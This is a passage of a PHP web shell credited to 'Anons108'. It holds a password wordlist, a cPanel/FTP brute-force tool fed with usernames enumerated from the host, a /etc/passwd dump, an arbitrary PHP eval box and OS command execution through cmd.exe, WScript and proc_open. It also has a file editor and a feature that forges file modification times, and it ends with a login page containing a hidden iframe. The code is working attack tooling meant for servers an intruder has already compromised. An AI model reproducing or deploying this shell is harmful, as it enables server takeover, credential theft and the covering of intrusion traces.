2216444444
2217555555
2218666666
2219777777
2220888888
2221999999
2222123123
2223456456
2224789789
2225123321
2226456654
2227654321
22287654321
222987654321
2230987654321
22310987654321
2232admin
2233administrator
2234admincp
2235cpanel
2236adminx
2237admins
2238password
2239passwords
2240passw0rd
2241p@ssw0rd
2242p@ssword
2243khongco
224425251325
2245passw0rds";
2246if($target == ''){
2247$target = 'localhost';
2248}
2249print " <div align='center'>
2250<form method='post' style='border: 1px solid #000000'><br><br>
2251<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
2252<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2253<div align='center'><br>
2254<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
2255<tr>
2256<td align='center'>
2257<b>Username</b></td>
2258<td>
2259<p align='center'>
2260<b>Password</b></td>
2261</tr>
2262</table>
2263<p align='center'>
2264<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2265$i = 0;
2266while ($i < 60000) {
2267
2268 $line = posix_getpwuid($i);
2269 if (!empty($line)) {
2270
2271 while (list ($key, $vba_etcpwd) = each($line)){
2272 echo "".$vba_etcpwd."\n";
2273 break;
2274 }
2275
2276 }
2277
2278 $i++;
2279}
2280echo "
2281</textarea>
2282<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2283<br>
2284<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2285<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2286</td></tr></table></td></tr></form><p align= 'left'>";
2287?>
2288<?php
2289function ftp_check($host,$user,$pass,$timeout){
2290$ch = curl_init();
2291curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2292curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2293curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2294curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2295curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2296curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2297curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2298$data = curl_exec($ch);
2299if ( curl_errno($ch) == 28 ) {
2300
2301print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2302exit;}
2303
2304elseif ( curl_errno($ch) == 0 ){
2305
2306p("<b>[ attack@vbateam.net ]# </b>
2307<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
2308}
2309curl_close($ch);}
2310
2311function cpanel_check($host,$user,$pass,$timeout){
2312$ch = curl_init();
2313curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2314curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2315curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2316curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2317curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2318curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2319$data = curl_exec($ch);
2320if ( curl_errno($ch) == 28 ) {
2321print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2322exit;}
2323elseif ( curl_errno($ch) == 0 ){
2324
2325p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
2326
2327if(isset($submit) && !empty($submit)){
2328
2329$userlist = explode ("\n" , $users );
2330$passlist = explode ("\n" , $pass );
2331p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
2332foreach ($userlist as $user) {
2333$_user = trim($user);
2334foreach ($passlist as $password ) {
2335$_pass = trim($password);
2336if($option == "ftp"){
2337ftp_check($target,$_user,$_pass,$connect_timeout);
2338}
2339if ($option == "cpanel")
2340{
2341cpanel_check($target,$_user,$_pass,$connect_timeout);
2342}
2343}
2344}
2345}
2346
2347 formfoot();
2348}
2349
2350
2351
2352
2353
2354
2355elseif ($action == 'etcpwd') {
2356formhead(array('title'=>'Get /etc/passwd'));
2357 makehide('action','etcpwd');
2358 makehide('dir',$nowpath);
2359$i = 0;
2360 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
2361while ($i < 60000) {
2362
2363 $line = posix_getpwuid($i);
2364 if (!empty($line)) {
2365
2366 while (list ($key, $vba_etcpwd) = each($line)){
2367 echo "".$vba_etcpwd."\n";
2368 break;
2369 }
2370
2371 }
2372
2373 $i++;
2374}
2375 echo "</textarea></p>";
2376 formfoot();
2377}
2378
2379elseif ($action == 'eval') {
2380 $phpcode = trim($phpcode);
2381 if($phpcode){
2382 if (!preg_match('#<\?#si', $phpcode)) {
2383 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2384 }
2385 eval("?".">$phpcode<?");
2386 }
2387 formhead(array('title'=>'Eval PHP Code'));
2388 makehide('action','eval');
2389 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2390 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2391 formfooter();
2392}//end eval
2393
2394elseif ($action == 'editfile') {
2395 if(file_exists($opfile)) {
2396 $fp=@fopen($opfile,'r');
2397 $contents=@fread($fp, filesize($opfile));
2398 @fclose($fp);
2399 $contents=htmlspecialchars($contents);
2400 }
2401 formhead(array('title'=>'Create / Edit File'));
2402 makehide('action','file');
2403 makehide('dir',$nowpath);
2404 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2405 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2406 formfooter();
2407}//end editfile
2408
2409elseif ($action == 'newtime') {
2410 $opfilemtime = @filemtime($opfile);
2411 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2412 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2413 formhead(array('title'=>'Clone file was last modified time'));
2414 makehide('action','file');
2415 makehide('dir',$nowpath);
2416 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2417 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2418 formfooter();
2419 formhead(array('title'=>'Set last modified'));
2420 makehide('action','file');
2421 makehide('dir',$nowpath);
2422 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2423 p('<p>Instead »');
2424 p('year:');
2425 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2426 p('month:');
2427 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2428 p('day:');
2429 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2430 p('hour:');
2431 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2432 p('minute:');
2433 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2434 p('second:');
2435 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2436 p('</p>');
2437 formfooter();
2438}//end newtime
2439
2440elseif ($action == 'shell') {
2441 if (IS_WIN && IS_COM) {
2442 if($program && $parameter) {
2443 $shell= new COM('Shell.Application');
2444 $a = $shell->ShellExecute($program,$parameter);
2445 m('Program run has '.(!$a ? 'success' : 'fail'));
2446 }
2447 !$program && $program = 'c:\windows\system32\cmd.exe';
2448 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2449 formhead(array('title'=>'Execute Program'));
2450 makehide('action','shell');
2451 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2452 p('<p>');
2453 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2454 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2455 p('</p>');
2456 formfoot();
2457 }
2458 formhead(array('title'=>'Execute Command'));
2459 makehide('action','shell');
2460 if (IS_WIN && IS_COM) {
2461 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2462 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2463 }
2464 p('<p>');
2465 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2466 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2467 p('</p>');
2468 formfoot();
2469
2470 if ($command) {
2471 p('<hr width="100%" noshade /><pre>');
2472 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2473 $wsh = new COM('WScript.shell');
2474 $exec = $wsh->exec('cmd.exe /c '.$command);
2475 $stdout = $exec->StdOut();
2476 $stroutput = $stdout->ReadAll();
2477 echo $stroutput;
2478 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2479 $descriptorspec = array(
2480 0 => array('pipe', 'r'),
2481 1 => array('pipe', 'w'),
2482 2 => array('pipe', 'w')
2483 );
2484 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2485 if (is_resource($process)) {
2486 fwrite($pipes[0], $command."\r\n");
2487 fwrite($pipes[0], "exit\r\n");
2488 fclose($pipes[0]);
2489 while (!feof($pipes[1])) {
2490 echo fgets($pipes[1], 1024);
2491 }
2492 fclose($pipes[1]);
2493 while (!feof($pipes[2])) {
2494 echo fgets($pipes[2], 1024);
2495 }
2496 fclose($pipes[2]);
2497 proc_close($process);
2498 }
2499 } else {
2500 echo(execute($command));
2501 }
2502 p('</pre>');
2503 }
2504}//end shell
2505
2506elseif ($action == 'phpenv') {
2507 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2508 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2509 !$dis_func && $dis_func = 'No';
2510 $info = array(
2511 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2512 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2513 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2514 4 => array('Server OS',PHP_OS),
2515 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2516 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2517 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2518 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2519 9 => array('The file path',__FILE__),
2520
2521 10 => array('PHP Version',PHP_VERSION),
2522 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2523 12 => array('Safe Mode',getcfg('safe_mode')),
2524 13 => array('Administrator',$adminmail),
2525 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2526 15 => array('enable_dl',getcfg('enable_dl')),
2527 16 => array('display_errors',getcfg('display_errors')),
2528 17 => array('register_globals',getcfg('register_globals')),
2529 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2530 19 => array('memory_limit',getcfg('memory_limit')),
2531 20 => array('post_max_size',getcfg('post_max_size')),
2532 21 => array('upload_max_filesize',$upsize),
2533 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2534 23 => array('disable_functions',$dis_func),
2535 );
2536
2537 if($phpvarname) {
2538 m($phpvarname .' : '.getcfg($phpvarname));
2539 }
2540
2541 formhead(array('title'=>'Server environment'));
2542 makehide('action','phpenv');
2543 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2544 formfooter();
2545
2546 $hp = array(0=> 'Server', 1=> 'PHP');
2547 for($a=0;$a<2;$a++) {
2548 p('<h2>'.$hp[$a].' »</h2>');
2549 p('<ul class="info">');
2550 if ($a==0) {
2551 for($i=1;$i<=9;$i++) {
2552 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2553 }
2554 } elseif ($a == 1) {
2555 for($i=10;$i<=23;$i++) {
2556 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2557 }
2558 }
2559 p('</ul>');
2560 }
2561}//end phpenv
2562
2563else {
2564 m('Undefined Action');
2565}
2566
2567?>
2568</td></tr></table>
2569
2570<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2571 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2572 Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/Anons108 target=_blank><B>Anons108 </B></a> - <B>All Rights Reserved.</B>
2573</div>
2574</body>
2575</html>
2576
2577<?php
2578
2579/*======================================================
2580Show info shell
2581======================================================*/
2582
2583function m($msg) {
2584 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2585 echo $msg;
2586 echo '</div>';
2587}
2588function scookie($key, $value, $life = 0, $prefix = 1) {
2589 global $admin, $timestamp, $_SERVER;
2590 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2591 $life = $life ? $life : $admin['cookielife'];
2592 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2593 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2594}
2595function multi($num, $perpage, $curpage, $tablename) {
2596 $multipage = '';
2597 if($num > $perpage) {
2598 $page = 10;
2599 $offset = 5;
2600 $pages = @ceil($num / $perpage);
2601 if($page > $pages) {
2602 $from = 1;
2603 $to = $pages;
2604 } else {
2605 $from = $curpage - $offset;
2606 $to = $curpage + $page - $offset - 1;
2607 if($from < 1) {
2608 $to = $curpage + 1 - $from;
2609 $from = 1;
2610 if(($to - $from) < $page && ($to - $from) < $pages) {
2611 $to = $page;
2612 }
2613 } elseif($to > $pages) {
2614 $from = $curpage - $pages + $to;
2615 $to = $pages;
2616 if(($to - $from) < $page && ($to - $from) < $pages) {
2617 $from = $pages - $page + 1;
2618 }
2619 }
2620 }
2621 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2622 for($i = $from; $i <= $to; $i++) {
2623 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2624 }
2625 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2626 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2627 }
2628 return $multipage;
2629}
2630// Login page
2631
2632function loginpage() {
2633
2634?>
2635
2636<html>
2637
2638<head>
2639
2640
2641
2642
2643
2644
2645
2646 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2647<div class="clock">
2648<div id="Date"></div>
2649 <ul>
2650 <li id="hours"></li>
2651 <li id="point">:</li>
2652 <li id="min"></li>
2653 <li id="point">:</li>
2654 <li id="sec"></li>
2655 </ul>
2656<body bgcolor=black background=http://i.imgur.com/GY0AXd9.jpg >
2657</div>
2658 <style type="text/css">
2659 @font-face {
2660 font-family: 'BebasNeueRegular';
2661 src: url('BebasNeue-webfont.eot');
2662 src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
2663 url('BebasNeue-webfont.woff') format('woff'),
2664 url('BebasNeue-webfont.ttf') format('truetype'),
2665 url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
2666 font-weight: normal;
2667 font-style: normal;
2668}
2669.clock {
2670 width: 800px;
2671 margin: 0 auto;
2672 padding: 30px;
2673 border: 1px solid #333;
2674 color: #black;
2675}
2676
2677#Date {
2678 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2679 font-size: 36px;
2680 text-align: center;
2681 text-shadow: 0 0 5px #00c6ff;
2682}
2683
2684ul {
2685 width: 800px;
2686 margin: 0 auto;
2687 padding: 0px;
2688 list-style: none;
2689 text-align: center;
2690}
2691
2692ul li {
2693 display: inline;
2694 font-size: 10em;
2695 text-align: center;
2696 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2697 text-shadow: 0 0 5px #00c6ff;
2698}
2699
2700#point {
2701 position: relative;
2702 -moz-animation: mymove 1s ease infinite;
2703 -webkit-animation: mymove 1s ease infinite;
2704 padding-left: 10px;
2705 padding-right: 10px;
2706}
2707@-webkit-keyframes mymove {
2708 0% {opacity: 1.0;
2709 text-shadow: 0 0 20px #00c6ff;
2710}
2711
271250% {
2713 opacity: 0;
2714 text-shadow: none;
2715}
2716
2717100% {
2718 opacity: 1.0;
2719 text-shadow: 0 0 20px #00c6ff;
2720}
2721}
2722
2723@-moz-keyframes mymove {
2724 0% {
2725 opacity: 1.0;
2726 text-shadow: 0 0 20px #00c6ff;
2727 }
2728
2729 50% {
2730 opacity: 0;
2731 text-shadow: none;
2732 }
2733
2734 100% {
2735 opacity: 1.0;
2736 text-shadow: 0 0 20px #00c6ff;
2737 };
2738}
2739</style>
2740<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
2741<script type="text/javascript">
2742$(document).ready(function() {
2743// Tao 2 mang chua ten ngay thang
2744var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];
2745var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
2746
2747// Tao moi doi tuong Date()
2748var newDate = new Date();
2749// Lay gia tri thoi gian hien tai
2750newDate.setDate(newDate.getDate());
2751// Xuat ngay thang, nam
2752$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear());
2753
2754setInterval( function() {
2755 // lay gia tri giay trong doi tuong Date()
2756 var seconds = new Date().getSeconds();
2757 // Chen so 0 vao dang truoc gia tri giay
2758 $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);
2759 },1000);
2760
2761setInterval( function() {
2762 // Tuong tu lay gia tri phut
2763 var minutes = new Date().getMinutes();
2764 // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10
2765 $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);
2766 },1000);
2767
2768setInterval( function() {
2769 // Lay gia tri gio hien tai
2770 var hours = new Date().getHours();
2771 // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10
2772 $("#hours").html(( hours < 10 ? "0" : "" ) + hours);
2773 }, 1000);
2774});
2775</script>
2776<div align="center">
2777 <div>
2778 <form method="POST" action="" class="form-3">
2779 <p class="clearfix">
2780 <label for="login">Username</label>
2781 <input type="text" placeholder="Username">
2782 </p>
2783 <p class="clearfix">
2784 <label for="password">Password</label>
2785 <input type="password" name="password" id="password" placeholder="Password">
2786 <input type="hidden" name="doing" value="login">
2787 <input type="submit" name="submit" value="Anons108">
2788 </p>
2789 </form>
2790 <br>
2791 </font></div>
2792
2793 </font></div>
2794 <style>
2795 /* GLOBALS */
2796
2797*,
2798*:after,
2799*:before {
2800 -webkit-box-sizing: border-box;
2801 -moz-box-sizing: border-box;
2802 -ms-box-sizing: border-box;
2803 -o-box-sizing: border-box;
2804 box-sizing: border-box;
2805 padding: 0;
2806 margin: 0;
2807}
2808
2809.clearfix:after {
2810 content: "";
2811 display: table;
2812 clear: both;
2813}
2814
2815.form-3 {
2816 font-family: 'Ubuntu', 'Lato', sans-serif;
2817 font-weight: 400;
2818 /* Size and position */
2819 width: 300px;
2820 position: relative;
2821 margin: 60px auto 30px;
2822 padding: 10px;
2823 overflow: hidden;
2824
2825 /* Styles */
2826 background: #white;
2827 border-radius: 0.4em;
2828 border: 1px solid #191919;
2829 box-shadow:
2830 inset 0 0 2px 1px rgba(255,255,255,0.08),
2831 0 16px 10px -8px rgba(0, 0, 0, 0.6);
2832}
2833
2834.form-3 label {
2835 /* Size and position */
2836 width: 50%;
2837 float: left;
2838 padding-top: 9px;
2839
2840 /* Styles */
2841 color: #ddd;
2842 font-size: 12px;
2843 text-transform: uppercase;
2844 letter-spacing: 1px;
2845 text-shadow: 0 1px 0 #000;
2846 text-indent: 10px;
2847 font-weight: 700;
2848 cursor: pointer;
2849}
2850
2851.form-3 input[type=text],
2852.form-3 input[type=password] {
2853 /* Size and position */
2854 width: 50%;
2855 float: left;
2856 padding: 8px 5px;
2857 margin-bottom: 10px;
2858 font-size: 12px;
2859
2860 /* Styles */
2861 background: linear-gradient(#1f2124, #27292c);
2862 border: 1px solid #000;
2863 box-shadow:
2864 0 1px 0 rgba(255,255,255,0.1);
2865 border-radius: 3px;
2866
2867 /* Font styles */
2868 font-family: 'Ubuntu', 'Lato', sans-serif;
2869 color: #white;
2870
2871}
2872
2873.form-3 input[type=text]:hover,
2874.form-3 input[type=password]:hover,
2875.form-3 label:hover ~ input[type=text],
2876.form-3 label:hover ~ input[type=password] {
2877 background: #white;
2878}
2879
2880.form-3 input[type=text]:focus,
2881.form-3 input[type=password]:focus {
2882 box-shadow: inset 0 0 2px #000;
2883 background: #white;
2884 border-color: #51cbee;
2885 outline: none; /* Remove Chrome outline */
2886}
2887
2888.form-3 p:nth-child(3),
2889.form-3 p:nth-child(4) {
2890 float: left;
2891 width: 50%;
2892}
2893
2894.form-3 label[for=remember] {
2895 width: auto;
2896 float: none;
2897 display: inline-block;
2898 text-transform: capitalize;
2899 font-size: 11px;
2900 font-weight: 400;
2901 letter-spacing: 0px;
2902 text-indent: 2px;
2903}
2904
2905.form-3 input[type=checkbox] {
2906 margin-left: 10px;
2907 vertical-align: middle;
2908}
2909
2910.form-3 input[type=submit] {
2911 /* Width and position */
2912 width: 100%;
2913 padding: 8px 5px;
2914
2915 /* Styles */
2916 border: 1px solid #0273dd; /* Fallback */
2917 border: 1px solid rgba(0,0,0,0.4);
2918 box-shadow:
2919 inset 0 1px 0 rgba(255,255,255,0.3),
2920 inset 0 10px 10px rgba(255,255,255,0.1);
2921 border-radius: 3px;
2922 background: #38a6f0;
2923 cursor:pointer;
2924
2925 /* Font styles */
2926 font-family: 'Ubuntu', 'Lato', sans-serif;
2927 color: white;
2928 font-weight: 700;
2929 font-size: 15px;
2930 text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
2931}
2932
2933.form-3 input[type=submit]:hover {
2934 box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
2935}
2936
2937}
2938
2939/* Small flash */
2940.form-3:before {
2941 /* Size and position */
2942 content: "";
2943 width: 8px;
2944 height: 5px;
2945 position: absolute;
2946 left: 34%;
2947 top: -7px;
2948
2949 /* Styles */
2950 border-radius: 50%;
2951 box-shadow: 0 0 6px 4px #fff;
2952}
2953
2954.form-3 p:nth-child(1):before{
2955 /* Size and position */
2956 content: "";
2957 width: 250px;
2958 height: 100px;
2959 position: absolute;
2960 top: 0;
2961 left: 45px;
2962
2963 /* Styles */
2964 transform: rotate(75deg);
2965 background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
2966 pointer-events: none;
2967}
2968
2969.no-pointerevents .form-3 p:nth-child(1):before {
2970 display: none;
2971}
2972</style>
2973<aside class="container">
2974 <input type="checkbox" id="menu__trigger">
2975 <section class="menu">
2976 <!--<label for="menu__trigger" class="entypo-cancel"></label>-->
2977 <nav>
2978 <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>
2979 <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>
2980 <a href="http://google.com">3. Website</a>
2981 <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>
2982 <a href="https://google.com">5. Google</a>
2983 <a href="/">6. Trang chủ</a>
2984 </nav>
2985 </section>
2986
2987 <section class="content">
2988 <label for="menu__trigger" class="entypo-menu"></label>
2989 </section>
2990</aside>
2991<style>
2992[class*="entypo-"]:before {
2993 font-family: 'entypo', sans-serif;
2994}
2995[class*="entypo-"]:before {
2996 font-family: 'entypo', sans-serif;
2997}
2998
2999html {
3000 min-height: 100%;
3001 min-width: 100%;
3002}
3003html body {
3004 min-height: 100%;
3005 min-width: 100%;
3006 font-family: 'Lato', sans-serif;
3007}
3008
3009html body input[type="checkbox"] {
3010 position: absolute;
3011 height: 0;
3012 width: 0;
3013 display: none;
3014}
3015html body input[type="checkbox"]:checked ~ .menu nav a {
3016 -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);
3017 transform: translate3d(0px, 0, 0) rotateY(0deg);
3018 -webkite-transform-style: preserve-3d;
3019 transform-style: preserve-3d;
3020 -webkit-transition: all .4s ease-in-out;
3021 transition: all .4s ease-in-out;
3022 background: #252525;
3023 color: #fff;
3024}
3025html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {
3026 -webkit-transition-delay: .1s;
3027 transition-delay: .1s;
3028}
3029html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {
3030 -webkit-transition-delay: .2s;
3031 transition-delay: .2s;
3032}
3033html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {
3034 -webkit-transition-delay: .3s;
3035 transition-delay: 0.3s;
3036}
3037html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {
3038 -webkit-transition-delay: .4s;
3039 transition-delay: .4s;
3040}
3041html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {
3042 -webkit-transition-delay: .5s;
3043 transition-delay: 0.5s;
3044}
3045html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {
3046 -webkit-transition-delay: .6s;
3047 transition-delay: 0.6s;
3048}
3049html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {
3050 -webkit-transition-delay: .7s;
3051 transition-delay: 0.7s;
3052}
3053html body section.menu {
3054 position: fixed;
3055 z-index: 10;
3056 top: 0;
3057 bottom: 0;
3058 min-height: 100%;
3059}
3060html body section.menu nav {
3061 padding-top: 4rem;
3062 -webkit-perspective: 20rem;
3063 perspective: 20rem;
3064}
3065html body section.menu nav a {
3066 display: block;
3067 width: 12rem;
3068 padding: 1.25rem 0rem 1.25rem 1.75rem;
3069 background: #222;
3070 border-bottom: 1px solid #2a2a2a;
3071 box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;
3072 color: #fff;
3073 letter-spacing: 1.5px;
3074 font-weight: 300;
3075 font-size: 1.25rem;
3076 text-decoration: none;
3077 -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);
3078 transform: translate3d(-100%, 0, 0) rotateY(90deg);
3079 -webkit-transform-origin: 0% 50%;
3080 transform-origin: 0% 50%;
3081 -webkit-transform-style: preserve-3d;
3082 transform-style: preserve-3d;
3083 -webkit-transition: all .25s ease-in-out;
3084 transition: all .25s ease-in-out;
3085}
3086html body section.menu nav a:nth-child(1) {
3087 -webkit-transition-delay: .235s;
3088 transition-delay: .235s;
3089}
3090html body section.menu nav a:nth-child(2) {
3091 -webkit-transition-delay: .2s;
3092 transition-delay: .2s;
3093}
3094html body section.menu nav a:nth-child(3) {
3095 -webkit-transition-delay: .165s;
3096 transition-delay: .165s;
3097}
3098html body section.menu nav a:nth-child(4) {
3099 -webkit-transition-delay: .13s;
3100 transition-delay: .13s;
3101}
3102html body section.menu nav a:nth-child(5) {
3103 -webkit-transition-delay: .095s;
3104 transition-delay: .095s;
3105}
3106html body section.menu nav a:nth-child(6) {
3107 -webkit-transition-delay: .06s;
3108 transition-delay: .06s;
3109}
3110html body section.menu nav a:nth-child(7) {
3111 -webkit-transition-delay: .25s;
3112 transition-delay: .025s;
3113}
3114html body section.content label {
3115 position: fixed;
3116 z-index: 1000;
3117 padding: 1rem 1.5rem;
3118 background: #222;
3119 font-size: 2rem;
3120 line-height: 2rem;
3121 color: #fff;
3122 cursor: pointer;
3123}
3124html body section.content h1 {
3125 display: table-cell;
3126 vertical-align: middle;
3127 text-align: center;
3128 font-size: 3rem;
3129 letter-spacing: 1px;
3130 color: #fff;
3131}
3132</style>
3133<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a>
3134
3135<BR>
3136
3137
3138<?php
3139
3140echo "".$err_mess."";
3141
3142?>
3143
3144
3145
3146</div>
3147
3148
3149
3150
3151
3152 </fieldset>
3153
3154
3155
3156
3157
3158
3159
3160</head>
3161<iframe src="http://www.nhaccuatui.com/mh/auto/1O1JO6xfXdae" width="0" height="0" frameborder="0" allowfullscreen></iframe>
3162</html>
3163
3164
3165
3166
3167
3168<?php
3169
